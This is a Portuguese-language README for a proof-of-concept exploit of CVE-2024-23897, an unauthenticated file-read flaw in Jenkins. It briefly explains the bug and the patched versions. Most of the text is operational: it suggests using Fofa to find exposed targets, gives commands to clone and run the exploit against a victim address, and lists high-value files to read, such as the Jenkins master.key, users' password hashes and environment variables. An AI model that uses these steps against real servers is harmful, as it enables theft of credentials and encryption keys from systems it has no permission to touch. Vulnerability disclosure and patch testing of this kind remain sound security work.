
POC - Jenkins File Read Vulnerability - CVE-2024-23897
CVE-2024-23897 é uma vulnerabilidade crítica no Jenkins que permite a atacantes não autenticados ler arquivos arbitrários no sistema de arquivos do controlador Jenkins. Essa falha decorre do tratamento inadequado de argumentos de comando na biblioteca args4j, especificamente em operações de linha de comando onde um caractere @ seguido por um caminho de arquivo pode levar à exposição não autorizada do conteúdo do arquivo.
Esta vulnerabilidade representa um risco significativo, pois pode permitir que atacantes acessem informações sensíveis, como chaves criptográficas e arquivos de configuração, que podem ser aproveitadas para exploração adicional, incluindo execução remota de código (RCE). O problema é particularmente alarmante dado o uso generalizado do Jenkins em pipelines de CI/CD e o número de instâncias do Jenkins expostas globalmente.
Uma correção de segurança que aborda esta vulnerabilidade foi lançada nas versões do Jenkins 2.442 e posteriores, bem como na versão LTS do Jenkins 2.426.3 e posteriores. Os usuários são fortemente aconselhados a atualizar suas instalações do Jenkins para mitigar esse risco e proteger informações sensíveis.
Leia sobre — CVE-2024-23897
Aviso: Esta Prova de Conceito (POC) é feita apenas para fins educacionais e de teste ético. O uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. É de responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não se responsabilizam por qualquer uso indevido ou dano causado por este programa.
Para encontrar possíveis alvos, use o Fofa (similar ao Shodan.io):
As versões afetadas do Jenkins incluem até 2.441 e até 2.426.2 para Jenkins LTS.
Clone o repositório:
git clone https://github.com/verylazytech/CVE-2024-23897
Execute o Exploit:
python3 CVE-2024-23897.py -u <Victim_ip:port>

Insira o arquivo que deseja ler no shell (neste caso /etc/passwd):

Alguns arquivos que podem ser de interesse:
/proc/self/environ Variáveis de ambiente incluindo JENKINS_HOME/proc/self/cmdline Argumentos de linha de comando/var/jenkins_home/users/users.xml Locais de armazenamento de contas de usuário/var/jenkins_home/users/<user_directory>/config.xml Hash de senha BCrypt do usuário/var/jenkins_home/secrets/master.key Chave secreta de criptografia/etc/hosts Resolução DNS local do Linux/etc/passwd Contas de usuário do Linuxusage: python3 CVE-2024-23897.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]
options:
-h, --help show this help message and exit
-u URL, --url URL Jenkins URL
-f FILE, --file FILE File path to read
-t TIMEOUT, --timeout TIMEOUT
Request timeout
-s, --save Save file contents
-o, --overwrite Overwrite existing files
-p PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag